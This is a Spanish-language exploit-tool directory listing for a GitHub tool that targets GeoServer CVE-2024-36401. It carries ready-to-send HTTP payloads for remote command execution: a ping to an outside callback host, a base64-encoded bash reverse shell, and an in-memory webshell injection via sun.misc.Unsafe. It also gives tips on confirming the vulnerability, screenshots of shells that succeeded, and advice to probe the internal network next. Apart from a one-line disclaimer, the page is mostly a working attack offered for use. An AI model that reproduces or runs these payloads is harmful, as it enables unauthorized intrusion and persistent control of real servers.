Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ahisec/geoserver-
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401 herramienta de explotación de vulnerabilidades

Ver Repositorio
4681hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Herramienta de explotación de geoserver CVE-2024-36401

geoserver CVE-2024-36401 Entorno: JDK8 Declaración: solo para pruebas autorizadas. El autor no se hace responsable de las consecuencias derivadas del mal uso por parte de los usuarios. ¡Cumple con las leyes y regulaciones!

1,payload por defecto:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

Entonces, presta atención aquí: <wfs:Query typeNames='sf:archsites'/>

En este punto, si necesitas obtenerlo mediante expresiones regulares, este es un identificador básico del sitio sf:archsites; primero debes obtener su

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> y luego puedes usar el método de concatenación

Al detectar la vulnerabilidad wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

En este punto, en realidad no es necesario consultar los registros DNS

La lógica simple es comprobar si existe una clase de excepción anómala

Como java.lang.ClassCastException

Por supuesto, esto es solo la lógica de detección

Esta respuesta es 400 por defecto; aquí es fácil caer en una trampa. Debes identificar la página de error y luego buscar los datos

Primero necesitas solicitar un <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Esta información representa que puedes obtener su wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>

Luego asígnalo directamente a un texto y, a continuación, llama a un método de función para concatenar la información extraída del texto en el parámetro <wfs:Query typeNames='sf:archsites'/>

De esta forma, la lógica de detección será relativamente precisa; la clase de detección se escribe así

Si sigues usando únicamente <wfs:Query typeNames='sf:archsites'/>, la probabilidad de falso positivo es muy alta y te indicará que no se encuentra sf:archsites

Categoría de reverse shell

Veamos el payload de reverse shell:

POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>

Prestamos atención aquí:

<wfs:Query typeNames='sf:archsites'/>

Igualmente, primero se obtiene el valor con expresiones regulares y luego se concatena

Y luego se envía la solicitud directamente

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx aquí es el base64 cifrado

Al escribir, solo hay que convertir el bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 que introduce el usuario a base64

Luego se envía la solicitud y, de la misma forma, solo hay que buscar la clase de excepción clave y aplicar la lógica de detección

Categoría de inyección de WebShell en memoria Este punto POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>

Aquí también está <wfs:Query typeNames='sf:archsites'/>,como siempre, primero se obtiene el valor

En star, coloca el código cifrado base64 de tu WebShell en memoria generado

Y luego basta con aplicar la lógica de detección

Puntos donde es fácil caer en trampas 1、 <wfs:Query typeNames='sf:archsites'/> reutilizado, probabilidad de falso positivo del 98 %, error como el siguiente:

https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<

Punto que indica la existencia de la vulnerabilidad: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>

En resumen, la vulnerabilidad existe cuando aparece java.lang.ClassCastException

Un falso positivo es Could not locate {http://www.openplans.org/spearfish}archsites in catalog

2、Método de detección: Captura la wfs:ReturnFeatureType> de la llamada y asígnala a un texto; el texto llama al método de función; envía la solicitud, concatena en la solicitud y evalúa la excepción de la respuesta

En la invocación del método de función del texto, es necesario asignar el valor previamente para evitar una excepción de puntero nulo; concatena antes de la solicitud y evalúa la excepción de la respuesta, realizando la evaluación dentro de la excepción

Finalmente hemos logrado escribir esta herramienta de explotación

image

Vamos a probar la vulnerabilidad

Efecto de ejecución de la herramienta

image

image

Nota: la ausencia de respuesta es lo mismo que una salida sin vulnerabilidad; si existe la vulnerabilidad, se mostrará el signo +

Si se detecta la vulnerabilidad, haz el reverse shell y realiza una prueba de conexión; si se puede conectar, haz una ronda de pruebas en la red interna

Las optimizaciones pueden incluir la incorporación de WebShell en memoria personalizada, detección por lotes y otras funciones

image

Se detectó la vulnerabilidad, se obtuvo el endpoint y el reverse shell también tuvo éxito

A continuación, probemos a inyectar la WebShell en memoria

image

Muestra que la inyección de la WebShell en memoria fue exitosa; vamos a conectarnos para ver si funciona

image

Es posible conectarse

Nota: al probar la WebShell en memoria, This GeoServer instance is running version 2.15.2. For more information please contact the

La inyección de la WebShell en memoria en esta versión fue exitosa

En versiones superiores puede fallar

El resto, pruébalo por tu cuenta

image

Se ha añadido la función de WebShell en memoria personalizada

image

Registro de cambios

Se han añadido las pruebas de ls y ping

Se ha corregido el problema de inyección de la WebShell en memoria

Se ha añadido la detección de tomcat y jetty

La WebShell en memoria Godzilla se inyecta por defecto en el entorno jetty

La WebShell en memoria personalizada permite elegir el entorno tomcat para las pruebas

La versión por lotes aún no se ha publicado

Descargar herramienta